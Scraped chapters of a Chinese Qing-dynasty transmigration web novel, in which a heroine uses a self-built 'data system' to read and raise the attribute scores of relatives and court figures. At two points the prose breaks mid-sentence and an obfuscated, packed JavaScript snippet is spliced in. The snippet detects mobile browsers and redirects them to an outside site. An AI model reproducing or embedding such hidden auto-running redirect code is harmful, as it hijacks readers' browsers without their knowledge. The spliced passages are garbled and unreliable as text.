《清穿之皇后是个数据控》 1. 待年之局 慈宁宫暖阁弥漫着牛乳茶的甜香,十二岁的赫舍里珠兰跪在波斯绒毯上,垂眸望着太皇太后脚边蜷成毛团的京巴犬。 那犬通身漆黑如墨,唯有四爪生着雪色毛团,此刻正将脸埋在前爪间酣睡,连尾巴尖都纹丝不动。它脖颈上系着嵌东珠的金丝项圈,随着呼吸轻轻起伏,偶尔发出细若游丝的呼噜声,温顺得像团揉软的墨云。这犬偏爱伏在太皇太后脚边暖阁的鎏金脚炉旁,正如太皇太后素喜将性情温驯的生灵养在身侧,连挑选宫婢都偏爱眉目柔顺、行事安静的姑娘,这般细微处倒也透着老人家历经沧桑后的处世偏好——比起张扬的利爪,更愿见绵柔的顺从。 殿内十二名勋贵之女屏息静立,唯有纳喇氏玉宁腕间的银铃偶发轻响。 苏麻喇姑瞅了纳喇氏一眼,又去看赫舍里氏与钮钴禄氏。 珠兰与钮钴禄氏萨琳皆心中一动,面上波澜不惊。 “都抬头让哀家瞧瞧。”太皇太后摘下玳瑁眼镜,皱纹里盛满笑意,枯瘦的手指慈爱地朝来自科尔沁部的博尔济吉特氏阿娜日苏招手,“这孩子生得像草原上的小百灵鸟。” 小女孩顿时羞红了脸,引得众人捂嘴轻笑。也是太皇太后的和蔼,让女孩子们都放松了下来。这些女孩子们,也都是十岁左右的年纪。 阿娜日苏跑上前,突然想起礼数,又改了慢慢走。 太皇太后始终笑意不减,看着故乡来的小格格,像小太阳一样耀眼。 珠兰在笑声中缓缓抬眼,目光澄澈如镜。当太皇太后夸赞博尔济吉特氏阿娜日苏像“草原小百灵”时,珠兰注意到老人左手小指无意识摩挲佛珠裂痕。系统立刻生成【微表情分析:触发童年记忆概率68%】【最佳回应模式:引用典故+情感共鸣】。 “赫舍里家的丫头,你妹妹躲在你身后做什么?”太皇太后突然发问,貌似浑浊实则清透的眼睛却瞅着珠兰。 九岁的塔娜吓得浑身发抖,颇有些叶公好龙,见龙不敢抬头的意思。 珠兰开口时,每个字的停顿都契合系统测算的“长辈舒适阈值”,却在塔娜因紧张而晃动手腕时,第一时间在系统里标记:【银镯晃动分贝:65dB】【需在三秒内制止以维持礼仪分】。她不着痕迹地往旁挪了半寸,将妹妹颤抖的指尖掩在自己衣摆下,“回太皇太后,塔娜前日听苏麻喇姑姑讲您亲制羊毛护膝赠予将士的典故,夜里翻来覆去念叨''真正的尊贵不在珠玉加身,而在心怀众生'',晨起还央奴才带她学一遍规矩,生怕在您面前失了礼数。” 至于塔娜今日为何表现的如此怯懦,当然不止是因面见太皇太后而紧张。早上,珠兰替塔娜整理发带时,指尖触到妹妹后颈发烫的皮肤。系统面板瞬间弹出【塔娜体温:37.8℃】【健康值预警:72/100】,她却只是将束发的簪别得更稳,神情一如既往柔和。如果因为妹妹发烧而被送出宫养病,显然不符合赫舍里氏的利益需求。 苏麻喇姑望着珠兰温婉柔顺、从容应答的模样,记忆被勾回两日前。偏殿内檀香袅袅,她手持戒尺教众人宫礼。女孩子们来的急,教引嬷嬷便由她任了。 纳喇氏玉宁闲暇时会倚着窗棂,指尖无意识摩挲着书卷边缘,当其他女孩因跪得腿麻而小声抱怨时,她忽然启唇轻诵:“竹摇清影罩幽窗,两两时禽噪夕阳。谢却海棠飞尽絮,困人天气日初长。”声音清泠如碎玉投壶,尾音带着莫名的疏离。这是文雅。 马佳氏诺敏默默解开荷包,取出绣着并蒂莲的小软垫,不动声色地垫在年岁最小的女孩膝下。这是体贴。 钮祜禄氏萨琳始终垂眸盯着自己的裙摆,连她走近时,睫毛都未颤动分毫。这是端庄。 此时塔娜正涨红着脸与教习嬷嬷争论:“为何见了皇子必须退三步?若他踩了我的裙摆该怎么办?”话音刚落,博尔济吉特氏阿娜日苏眼睛一亮,像只欢快的小鹿蹦跳着凑过来:“就是就是!我阿玛说草原上的勇士都要护着姑娘的裙角,怎么到了宫里规矩就倒过来啦?”她攥住塔娜的手,两个小姑娘你一言我一语,从皇子的靴子会不会沾泥,聊到该怎么让侍卫提前清路,清脆的笑声惊飞了窗外的麻雀。这一对,是活泼。 珠兰见状,唇角漾起温和的笑意,款步走到两人中间。她先替塔娜理了理歪斜的发带,温声道:“妹妹前日不是说想做最懂规矩的赫舍里家女儿?若是被太皇太后知道,可要失望了。”因为苏麻喇姑的故事,塔娜对太皇太后崇拜的不得了。 她又转头握住阿娜日苏的手,指尖拂过她腕间的银铃铛:“这串响起来真好听,但若在请安时惊动圣驾,反而不美了。”这个草原来的小姑娘,对皇帝有一种莫名的欢喜。 两句话说完,两人脸颊绯红,忙松开手各回原位。 苏麻喇姑摩挲着手中戒尺,目光先落在珠兰妥帖安抚的身影上,又转向始终端然跪坐、连衣褶都未乱半分的钮祜禄氏萨琳。 她苍老的眼底泛起意味深长的光——这两个孩子,一个如春风化雨,一个似寒玉凝霜,倒真是有意思。 暖阁里,太皇太后笑意未达眼底,目光却忽而明亮,佛珠在掌心转出清脆声响:“倒是个通透的。” 苏麻喇姑一怔,许久没见格格提起通透二字了,再看下面的珠兰格格,这几日行事不偏不倚、恰到好处,确实担得起。 珠兰捕捉到老人指尖无意识摩挲裂痕的动作,系统面板瞬间弹出提示:【成功触发“记忆共鸣”事件,获得观察点+800。】 她心中盘算观察点来的比宫外容易太多了,进宫与太皇太后见面不过半个时辰,一日三百点保底就满了,还有额外的大额收入,天道核心人物果然不同凡响。 珠兰敛衽行礼,恭恭敬敬,安静柔顺之态尽显,“奴才姐妹年幼无知,若能常伴太皇太后左右听训,便是天大的福气。” 太皇太后和蔼叫起,又去问其他女孩儿,多数是与科尔沁的姑娘说话。 当叫退时,珠兰悄悄牵着妹妹后退。余光瞥见太皇太后将那串有裂痕的佛珠摘下,随意搁在炕几上。 踏出殿门后,趁着父亲这个时候也在宫里,她悄悄在系统中消耗40点,将父亲葛布喇今日的奏对思路替换成自己昨夜推演的最优方案。这意外之财,用到父亲身上,颇有些北上广赚钱,回老家花销的意思,痛快还觉得便宜。她此身还是太小,若要亲身上阵,还有些年头呢。 只是人都有抗性,这些年拿父亲试验的多了,总有些后遗症会让祖父头疼。比如,大家都觉得,葛布喇人到中年,比年轻时更加耿介了。性格会变得极端,是试验出的第一个缺点。 暮色漫过紫禁城宫墙,珠兰看着系统中家族成员的属性值缓缓攀升。 塔娜忽然抓住她的手腕:“姐姐,太皇太后的眼睛...好像能看透人心。姐姐,我好怕...”塔娜的声音带着哭腔,小手攥紧她的袖口。这时候,她兴不起崇拜敬仰了,显然是真怕。 塔娜虽然天真,却着实敏感。 太皇太后再如何和蔼,也是叫小姑娘恐惧的。 珠兰在系统中快速滑动,将10观察点注入“忠诚度”数值,看着数字从85跳至86时,才弯起嘴角,“那是因为太皇太后心里装着整个大清,我们只要做听话的好孩子就好。”她的语气像在读取数据报告,温热的指尖却精准地按在塔娜手肘的安神穴位上——这是她用50点观察点兑换的《经络推拿图谱》,每个动作都经过系统精度计算。照顾妹妹,就像吃饭喝水,天经地义。妹妹依赖姐姐,也同样如此。 趁着塔娜尚未成为皇后,还不是天道核心人物,也不是皇室成员,现在更改她的属性,最便宜。若非数值一次动太多会有后遗症,她马上就可以将妹妹的某些属性加满。 安抚过后,塔娜靠在她肩头昏昏欲睡,珠兰看着系统中家族成员的属性值曲线,父亲的“忠君值”自然上升3点,省下了系统30观察点,许是因他今日朝会反驳了鳌拜一方的重要人物。母亲的“后宅影响力”下降5点,大概率是因生病日久,瞒不住人了,她今日竟因病未入慈宁宫请安,来的是祖母,这已是鲜明的信号。而且,祖母与钮钴禄家的福晋似乎相谈甚欢。 取出象牙算珠轻轻拨动,算珠碰撞声与系统面板的数据流声在脑海中重叠——当塔娜滚烫的额头蹭到珠兰锁骨时,她唯一的波动是在系统里新增了一条指令:【若塔娜健康值跌破70,消耗200点观察点进行提升】。 望着系统面板上跳动的数字,唇角扬起符合“温婉姐姐”人设的弧度,珠兰眼底却映着数据流冰冷的光——在用数据丈量一切的任务者心里,所谓温情,不过是精准计算后的最优解。 暮色渐浓时,乾清宫西暖阁的烛火次第亮起。 鳌拜将镶黄旗与正白旗换地的奏疏重重拍在紫檀案上,蟒纹补服随着动作带起冷硬的弧度:“苏克萨哈大人不是总说正白旗土地肥沃?如今镶黄旗旗民生计艰难,正好物尽其用。”他刻意拖长尾音,余光扫过神色各异的辅政大臣。 苏克萨哈捏着茶盏的指节发白,刚要开口便被遏必隆抢了先手,“中堂所言极是,旗务本就是头等大事。”这位钮祜禄氏权臣垂着眼帘,像只慵懒的老猫蜷在太师椅里,话语却精准地落在鳌拜心上。 唯有领侍卫内大臣葛布喇按剑而立,玄色官服上的麒麟补子在烛火下泛着冷光:“直隶总督朱昌祚三日前急奏,换地令已致数万流民聚集保定府。若强行推行...” “葛布喇大人何时改行当御史了?”鳌拜突然大笑,铜胎掐丝珐琅香炉里的龙脑香被震得簌簌落灰,“莫非赫舍里家也想插手旗务?”他刻意将“赫舍里”三字咬得极重,暗指索尼身为四朝老臣却在换地之争中始终缄默。在此事中,赫舍里氏分明也是得利的,却非要派个愣头青小子出来,拿“忠君爱民”给他添堵,是什么意思。 阁外忽有脚步声传来,苏麻喇姑捧着太皇太后赏赐的□□糖糕款步而入,目光不着痕迹地扫过紧绷的气氛,“葛布喇大人,格格们还等着您散值后去慈宁宫请安呢。” 这话让鳌拜眯起眼睛,他当然知道,赫舍里家的小女儿珠兰今日刚得了太皇太后的夸赞。不是慈宁宫满是探子,这根本是太皇太后有意传出来的。可惜他没有适龄的女儿,进不了慈宁宫。 而此刻愣头青葛布喇挺直的脊梁,竟隐约透出几分与索尼截然不同的锋芒——那老狐狸平素总说“皇上年幼,臣等当守本分”,如今儿子却公然顶撞自己。 “此事...容后再议。”索尼终于开口,苍老的声音像是从嗓子眼里磨出来的。他摩挲着翡翠扳指起身,朝葛布喇投去意味深长的一瞥。这位四朝元老步履迟缓地穿过回廊,身后传来鳌拜摔碎茶盏的脆响,却始终没有回头。方才苏麻喇姑特意提及请安之事,想必是太皇太后已经察觉了什么。 珠兰看着父亲葛布喇的“忠君值”已升至67,而鳌拜的“警惕值”正随着数字跳动发出危险的红光。她望着窗外紫禁城的飞檐,面无表情,心中只有数据的冰冷。以能量为底层逻辑的系统,可以捕捉一切数值,无论是有形还是无形。 指尖在系统面板上轻点,将100点观察点注入父亲葛布喇的“忠君值”时,慈宁宫檐角的铜铃正被穿堂风撞出清响。77点的“忠君值”,足够对得起领侍卫内大臣的俸禄了。 这并非一时兴起的数值调整——自她带着时空局的任务降生在赫舍里家,手作的测试版系统便提示着家族乃至大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702610|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清兴衰轨迹。 眼下鳌拜借圈地之争蚕食正白旗势力,索尼却在辅政会议上三缄其口,整个赫舍里氏的政治能量正随着观望态度缓缓流失。也许索尼是对的,这是守成,也是拿捏,是稳坐钓鱼台。但这不符合珠兰的核心利益,她要的从不是一成不变的历史进程。 她想起今早收到的系统警告:【检测到鳌拜势力扩张,赫舍里氏话语权预计下降12%】。那串跳动的红色数字像根细针,刺破了祖父索尼与父亲葛布喇“明哲保身”的官场哲学。没有什么手段,可以瞒过能量显化的数据。这也是珠兰,也就是任务者林昭然在轮回多个任务世界后,选择仿照时空局能量收集系统,手作系统(测试版)金手指的原因。 在这个以旗籍定尊卑的朝堂,若不趁康熙亲政前积累足够的政治资本和信任,待鳌拜彻底掌控辅政会议,赫舍里氏终将沦为权力边缘的摆设,在皇帝亲政后,也只剩一个索额图支撑门楣。做墙头草,是老一辈的生存哲学,但显然不符合珠兰的利益需求。 直接修改忠君属性的念头源于三日前乾清宫的朝会,当葛布喇随索尼低头不语时,珠兰在系统中清晰看见鳌拜的“专权指数”飙升至47,而赫舍里家的“抗争值”却停留在刺眼的0。 她突然意识到,仅靠自己在后宫布局远远不够——前朝的每一次对抗,也都会化作与世界博弈时短缺的能量。 于是她调出父亲的属性面板,看着“忠君”“抗争”“谋略”三项数值在家族利益与皇权维护间的微妙平衡,终于将指尖落在了最能撬动局面的“忠君值”上。 这并非盲目的数值堆砌,既是为系统积累能量以应对未知危机,更是要在赫舍里氏的政治基因里,埋下一颗对抗专权的种子。 当葛布喇在乾清宫首次顶撞鳌拜时,珠兰在慈宁宫听见系统提示音:【赫舍里氏话语权+3%,改变世界发展进程,获得涟漪能量结晶x1】。 她把结晶上交时空局,完成了当月的任务,也验证了本次试验的成果。这颗棋子,终于按预设的轨迹落进了棋盘。 慈宁宫暖阁的自鸣钟刚敲过戌时,珠兰正替妹妹塔娜整理着缀满珍珠的领口,忽闻殿外传来熟悉的脚步声。 她抬眸望去,只见父亲葛布喇身着朝服,正撩开厚重的棉帘走进来,玄色官服上的补子还带着屋外的寒气。 塔娜见状,立刻像只快活的小鸟般扑了过去,她的健康值已经回到80以上了,却在看到父亲严肃的神情时,又有些怯生生地停下了脚步。 葛布喇的目光在两个女儿身上短暂停留,便转向了坐在炕上的太皇太后,恭敬地行了礼。 他带了礼物来,但不能直接交给两个女儿。他甚至不能多与她们说话,父女间能见一面已是天恩。 珠兰留意到,葛布喇的眉宇间带着一丝可以察觉的疲惫,但眼神却比往日更加坚定。她不动声色地拉了拉塔娜的衣袖,示意妹妹保持安静。 就在这时,苏麻喇姑端着刚沏好的奶茶走进来,她先是将茶盏递给太皇太后,然后附在太皇太后耳边,低声说了几句。 珠兰虽听不清具体内容,但从苏麻喇姑沉稳的语气和太皇太后微微颔首的动作中,猜到定是关于乾清宫之事。 “葛布喇啊,”太皇太后呷了口奶茶,缓缓开口,“听说今日乾清宫的风不小啊。” 葛布喇挺直了脊背,朗声道:“回太皇太后,臣只是做了该做的事。” 珠兰余光扫过父亲从容应对的样子,面上波澜不惊,仍是不动如山的做派,一副对哑谜没有丝毫兴趣的柔顺态度,她能表现的只是对父亲的想念。 系统面板上葛布喇的属性值正在悄然变化,而这变化,正被太皇太后看在眼里。 塔娜似懂非懂地看着眼前的一切,小手紧紧攥着珠兰的衣角,眼神里满是依赖。 姐妹俩的表现,也都被老太太看在眼里。 暖阁里一时只闻自鸣钟的滴答声,以及太皇太后手中佛珠转动的轻响,空气中弥漫着一种微妙而紧张的氛围。 当月光爬上慈宁宫琉璃瓦时,珠兰跪在太皇太后榻前,将温热的手炉塞进老人掌心。 葛布喇已经在宫门下钥前,出宫去了。 系统界面突然弹出提示:【检测到前朝势力波动,触发隐藏任务——破解鳌拜“以退为进”的换地阴谋,奖励观察点5000】。 以退为进... 系统瞬间调取鳌拜近三月的所有奏折,在虚拟屏幕上排列成时间轴:【镶黄旗换地奏疏三次被驳→突然上折“请停换地以安民心”→辅政会议讨论热度下降47%】。这组数据的诡异曲线,让她想起父亲书房里那幅被虫蛀的《孙子兵法》。 她将鳌拜“请停换地”的奏折拆解成词云图,“民心”“祖制”“安边”等词汇的出现频率异乎寻常地高,而在这些光鲜辞藻的缝隙里,系统捕捉到三个加密关键词:【正白旗牧场】【火器营驻地】【旧部屯田】。 系统继续生成三维推演模型:鳌拜表面停止换地,实则将目标转向正白旗控制的战略要地。那些标注为“牧场”的地块,在军用地图上正是拱卫京城的火器营驻地,而所谓“旧部屯田”,恰是当年多尔衮旧部的聚居区。这哪里是退让,分明是用土地置换的幌子,蚕食正白旗的军事根基! 珠兰在系统中打开父亲的属性面板,【葛布喇“抗争值”78】。 太皇太后的手指轻轻叩着珠兰手背,眼睛望向殿外的月色,“听说今日乾清宫的茶盏,碎得比去年冬至的冰面还热闹?” 珠兰垂眸时,睫毛在脸颊投下蝶翼般的阴影。 她敏锐的察觉,太皇太后似乎想告诉自己这个下臣之女,一些事。 2. 初见康熙 三日后 未时三刻的自鸣钟刚响过,慈宁宫檐角的铜铃便被穿堂风撞出清响。 珠兰与钮祜禄萨琳垂手立在苏麻喇姑身后,听着殿外渐近的蟒靴声。 她余光瞥见萨琳攥紧的袖口——那截月白色锦缎上绣着规整的海水江崖纹,针脚密得像她脸上无波的表情。 尚且年幼的康熙踏入暖阁时,明黄团龙褂袍带起的风拂动了珠兰鬓边的珍珠流苏。 系统面板突然爆闪:【天命核心人物进入感应范围】【触发"龙气共鸣"机制】。与此同时【葛布喇“忠君值”实时同步:78→帝王感知度+12】的数据流覆盖了整个屏幕。 她垂眸的瞬间,眼角余光捕捉到帝王视线在自己眉梢停留了0.8秒,又迅速移向太皇太后膝上的佛经。 “皇祖母今日气色好了些。”康熙的声音带着少年人特有的清朗,却在落座时不着痕迹地调整了坐姿,使右侧身对着珠兰的方向。 苏麻喇姑递上奶茶的手指微不可察地顿了顿,目光在珠兰盈满笑意的眼角与萨琳端肃的额间来回游移。她显然记得三日前葛布喇在辅政会议上,是如何将镶黄旗换地奏疏拍在鳌拜面前:“中堂若执意换地,先从末将尸身上踏过去!”而萨琳的父亲,选择明哲保身。 她记得,显然皇帝也记得。 太皇太后摩挲着蜜蜡佛珠轻笑:“哀家好着呢,倒是这些个孩子——”她忽然抬手,珠兰清晰看见系统面板弹出【关键对话触发】的红色提示,“珠兰,你前日说要给哀家绣幅《心经》?” “是。”珠兰福身时,系统数据流如瀑布般刷屏: 【康熙注视时长:1.2秒→情绪波动指数+5(受葛布喇忠君行为影响+3)】 【太皇太后话术引导:进入选妃议题概率92%(葛布喇政治立场权重占比41%)】 【当前观察点获取速率:300点/日→提升至600点/日(葛布喇派系加成200点)】 这窜数字让她指尖微颤,遇见天命核心人物都会触发能量暴涨,在轮回次数多了后,她已经从心有所感,但从未有过如此清晰的数值反馈。 当康熙的目光第三次掠过她腕间新换的翡翠镯子时,珠兰听见系统提示音:【今日可获取观察点上限:600/600】。 她腕间新换的翡翠镯子,是前天葛布喇来请安时,特地送给她的,与祖父常用的那只扳指,出自同一块玉料。 前天,应该是葛布喇硬刚了鳌拜,这一行为当时就让康熙的“信任值”在系统里暴涨15点。此时,应该是余韵。她这个女儿,是沾光了。 珠兰在系统中调出葛布喇的政治档案:【领侍卫内大臣,近期三次谏言均直指鳌拜专权,康熙朝会记录批注“甚慰朕心”次数:2次】。这些数据与她自身的【太皇太后好感度:85】形成共振,让原本因“年龄大三岁”而被划掉的选妃资格,重新出现在考察名单的置顶栏。 “勋贵家的适龄姑娘们养在宫里待年,”太皇太后的语气仍然是轻松愉悦的,“一来是让她们学学规矩,二来...”她故意停顿,珠兰在系统中看见康熙的“警惕值”跳至47,“也是为你选个知冷知热的人。” 这样年幼的孩子,面对的又是亲祖母,他面上笑意盈盈,内心生出的竟然是警惕? 萨琳闻言微微一顿,呼吸的速度却快了半分。这还只是个九岁的小丫头,能够控制表情已是辛苦,让她迅速调整呼吸还是困难些。 不比老油条珠兰,心中与面上都是平静,仿佛根本不知道太皇太后在说些什么一般。 珠兰则在系统里调出自己的资料卡:【赫舍里珠兰,年龄12,比康熙大3岁→常规选妃排除项】。 但紧接着另一行字亮起:【太皇太后好感度85→触发特殊考察机制】。 “珠兰这孩子虽大了几岁,”太皇太后仿佛看穿了皇帝的心思,“但性子沉稳,哀家看着喜欢。” 此话一出,验证了系统分析出的答案,是准确的。 康熙端着茶盏的手指在杯沿划了个圈,珠兰捕捉到系统中他的“好奇值”飙升至61。这个数值在葛布喇昨日递交的《旗务改革条陈》后,有过波动。 待康熙告退后,珠兰与萨琳走出暖阁时,袖口突然被轻轻拽了一下。 苏麻喇姑的声音从身后传来,“珠兰姑娘留步。” 看着萨琳独自走远的背影,珠兰在系统中打开能量日志。 前面轮回世界的毁灭结局在屏幕上闪烁:【第7次轮回:能量耗尽,玉石俱焚】【第9次轮回:异种能量排斥,世界毁灭,任务失败】。 手作系统耗费了她99%的积存能量,拥有准确数据的价值却是不可估量的。而且手作系统是仿照时空局能量系统的底层逻辑编制的,可以顺利带入任务世界。她本身的积存能量,却会被世界壁垒排斥在外。 这一次...她望着慈宁宫檐角的青天,系统面板上600观察点正在阳光下泛着微光,要走条能看见终点的路。 太皇太后指尖轻叩着炕几,目光落在珠兰腕间那支水色通透的翡翠镯上——那是葛布喇特意送来的物件,过了苏麻喇姑的手。 系统面板适时弹出【物品解析:冰种翡翠镯,蕴含政治立场宣示能量+15%】,而老人嘴角勾起的弧度,恰好与【太皇太后对葛布喇忠诚度认可值】的曲线上升完美重合。 “你母亲昨日着了凉,”太皇太后忽然开口,声音一日往常,和蔼可亲,“哀家让刘御医随你回去瞧瞧。” 珠兰福身谢恩时,系统正飞速计算着这道懿旨的深层逻辑:【御医随行=宫廷对赫舍里府的医疗资源注入,政治示好指数+20】【准假归家=允许核心人物与家族信息交互,信任阈值提升18%】。 她余光瞥见苏麻喇姑正将一个描金药箱递给小太监,当刘御医躬身等候在殿门外时,珠兰注意到药箱侧面的铜扣上,赫然铸着太皇太后亲赐的“杏林春暖”印鉴,系统瞬间生成【医疗人员身份认证:太皇太后直属情报中转站概率79%】。 “带塔娜一起回吧,”太皇太后忽然拿起案头的蜜蜡佛珠,将第六颗有裂痕的珠子捻到掌心,“哀家瞧那孩子昨儿就有些蔫,应是想母亲了。” 珠兰应声时,系统面板上【塔娜健康值】的数字正从72跳至70,而【太皇太后对赫舍里氏关怀度】的曲线则随着这句话陡然上扬12个百分点。 走出慈宁宫时,暮色已漫过琉璃瓦。珠兰看着刘御医与小太监抱着药箱跟在身后,母亲显然不是新着凉的,但是太皇太后说是就是。 马车驶出宫门时,塔娜忽然拽住她的袖子:“姐姐,太皇太后是不是不喜欢我?” 珠兰低头看见妹妹眼底的忐忑,系统立刻弹出【情感需求分析:寻求安全感】【最优回应模式:物质奖励+数据化承诺】。她从袖中取出一枚赤金长命锁,锁片上刻着塔娜的生辰。 “太皇太后让我们回家给额娘看病呀,”珠兰将长命锁系在塔娜颈间,指尖触到系统标注的【体温37.5℃】的皮肤,“你看这锁多亮,是太皇太后赏的。” 系统【谎言成功指数:88】的提示发亮,珠兰一如既往地看着塔娜眼睛亮起来的模样,长命锁确实是太皇太后赐下的,但却不是给塔娜的。虽然皇家的物件儿得供着,不能随意处置,但给妹妹还是可行的。赫舍里家此刻,有这个脸面。 赫舍里府的灯笼在暮色中亮起时,珠兰看见父亲正站在门廊下张望。 他朝服上的麒麟补子在灯笼光下泛着冷光,系统显示其【焦虑值】高达76,而当他看见珠兰身后的刘御医时,这个数字瞬间暴跌至23。 “太皇太后惦记着,”珠兰扶着塔娜下车,将太皇太后赐的安神汤药方递给父亲,“让刘御医来瞧瞧。” 葛布喇接过药方时,指尖在纸面上留下三个汗渍指印,系统立刻生成【压力释放指数:61%】的分析报告。 当父亲低声问起宫中情形时,她望着府中那棵与自己同岁的银杏树——树叶在晚风中飘落的轨迹,与系统中“鳌拜专权”指数的下降曲线,竟有着惊人的相似。 这一夜注定无眠,珠兰坐在窗前,听着正院传来的御医诊脉声,系统面板上【母亲健康值】正从68缓慢回升。她想起太皇太后捻动佛珠时的眼神,那道裂痕在烛光下像极了系统里“历史分叉点”的警示符号。 前院东厢房的窗纸映出两个模糊的身影,葛布喇将太皇太后赐的安神汤放在桌上,铜胎珐琅盖碗叩击桌面的声响,与索尼转动翡翠扳指的节奏奇异地重合。 窗外银杏叶扑簌簌落在青砖上,系统显示【索尼警惕值】正随着汤盅的热气缓缓攀升至58。 “太皇太后突然派御医...”葛布喇话音未落,便见父亲抬手止住他。 索尼苍老的目光落在窗棂剪纸的“福”字上,那笔画转折处恰好与慈宁宫匾额的钩划弧度相同。 系统面板弹出【政治博弈分析:索尼正在调用四十年官场经验建模】,虽说看不见前院赫舍里氏当家人和继承人的交谈场面,系统却能准确捕捉一切影响世界数值的能量波动。 “她是瞧中了兰儿。”索尼忽然开口,扳指在烛光下闪过一抹冷绿。 葛布喇惊得转身时,系统显示其【震惊值】飙至83。长女可是比皇上年长三岁的,送她入宫时,不过是借着教养于慈宁宫抬抬身份罢了。 “不然为何准塔娜一起回家?”索尼捻起桌上的安神汤方,药方边角太医院的朱砂印在烛光下透着玄机,“这是在算赫舍里氏的后宅承载力。” “后宅承载力?”葛布喇捏着安神汤的瓷盖转了半圈,铜胎珐琅上的缠枝莲纹在烛光下晃出细碎的光。 索尼将药方对着烛光举起,纸页上太医院院使的朱批“肝郁气滞”四字突然显影出第二层墨迹。 老人用扳指点着“气滞”二字,翡翠绿光在纸页上划出精准的斜线:“塔娜这孩子看着软糯,可她昨儿在慈宁宫敢拽苏麻喇姑的衣角问''佛珠裂痕是不是打仗时留下的''——” 窗棂外的银杏叶突然被风卷起,系统显示【索尼话术引导指数】飙升至81。 葛布喇望着父亲指甲缝里未净的朱砂印——那是今日批红时沾上的痕迹,与药方上的印泥同出一炉。 “太皇太后要的是能把后宅拧成一股绳的主母,”索尼忽然将药方折成袖珍大小,折痕恰好避开“肝郁”二字,“塔娜敢在太后面前问这话,说明赫舍里家的姑娘不缺胆子。” 铜胎盖碗突然发出轻响,葛布喇这才发现自己捏碎了一小块珐琅。 “九岁是个好年纪。太皇太后要的不是温室花朵,是能在三年后替皇上稳住□□的定海神针。”他忽然凑近大儿子,将药方塞进老大的手中,袖口露出的孝服滚边,恰与太医院朱砂印的边角形成直角——那是旗人家庭计算服丧日期的标准角度。“兰儿大了三岁懂事儿,塔娜小几岁能调教——这一大一小一起回家,是瞧赫舍里氏能不能同时养出两个顶用的格格。” 更夫敲梆子的声响自远及近,系统中【后宅承载力评估体系】正在生成三维模型:从夫人处理家奴的手段,到塔娜给宫女分点心的方式,甚至连厨房每日消耗的粳米数量,都被拆解成【威权值】【恩义值】【资源调配效率】的数据流。这些,都是系统从索尼的话语中分析出来的。 当索尼转动扳指的声音停在第七圈时,葛布喇终于明白太皇太后那道懿旨的深意——这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702611|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里是准假归家,分明是把赫舍里氏的后宅,放进太皇太后的金丝笼里称斤论两。 塔娜拽苏麻喇姑衣角的那下子,早已被算进【未来皇后协理六宫潜力值】的公式里,而他此刻捏着的安神汤方,纸页间藏着的不是药材,是太皇太后用四十年宫斗经验熬制的考题:赫舍里氏能不能在鳌拜的刀锋下,养出既懂《女诫》又敢拽佛珠的皇后? 慈宁宫的暖阁里,太皇太后正将那串有裂痕的蜜蜡佛珠递给苏麻喇姑,老人指尖划过第六颗珠子的纹路。 夜风穿过窗缝时,珠兰在系统中看见【索尼决策模型】的三维图像正在生成。系统,是会学习的。 “鳌拜换地逼得太紧,苏克萨哈独木难支...”索尼忽然停顿,目光扫过葛布喇朝服上的麒麟补子,“可谁能想到,我赫舍里家第一个跳出来的,是你这个平日里最听话的长子。” 葛布喇的手指无意识攥紧腰间玉佩,系统标注的【忠诚值】78在此刻泛起微光。 三日前乾清宫朝会上,当他说出“先从末将尸身上踏过去”时,索尼在后排轻咳了三声——那正是家族密约里“可相机而动”的信号。 此刻系统显示【索尼对儿子行为认可度】的数值停在71,这个微妙的数字既保留了明哲保身的余地,又暗藏着对政治投机的默许。 当更夫敲过二更时,看着一串串数字,珠兰仿佛亲身上了一堂大课。她终于在系统中按下确认键,将1000观察点注入【葛布喇政治影响力】的属性栏——这是她为明日回宫准备的,第一枚关键棋子。 “让兰儿做皇后...”索尼忽然冷笑,扳指重重叩在桌沿,系统瞬间捕捉到【家族风险评估】的红色预警,“等于把全族绑在龙椅上。现在才康熙元年,皇上九岁...”他伸出五根手指,每根指节都刻着辅政大臣的生存法则,“至少还有五年,鳌拜的刀子随时可能落下来。”他年纪大了,不想做权臣。鳌拜,却正值壮年。 葛布喇望着父亲斑白的鬓角,忽然想起第一次跟着他上朝的清晨。那时索尼总说“辅政大臣的诀窍,是永远留半手底牌”,而此刻系统中【索尼政治博弈系数】的曲线,正以0.1秒的延迟在“保皇”与“观望”之间震荡。 当老人将安神汤推回他面前时,珠兰在系统深处看见【赫舍里氏派系分裂概率】的数值跳至34——这正是索尼惯用的平衡术:儿子站明线,自己守暗桩。 “太皇太后敢下这步棋,”索尼忽然望向窗外的银杏树,“是瞧准了我赫舍里氏有两枚棋子。太皇太后把两个孙女都攥在手里,是要咱们赫舍里氏把鸡蛋全放进皇上的篮子里。”他举起扳指对着烛光,翡翠里的棉絮纹路竟组成了“忠”“孝”二字,“你在前朝硬刚鳌拜,兰儿在后宫拢住太皇太后...这局棋,开始有意思了。”谁是棋子,谁又是棋手。 更夫敲过三更时,珠兰看着系统中【索尼决策】的最终结果:【允许葛布喇继续保皇行动,自身保持观望,启动孙女选妃预备方案】。 她摩挲着腕间玉镯,索尼四十年宦海沉浮的终极密码已然被系统展示出来,不做最先出头的椽子,却要做最稳固的梁柱。 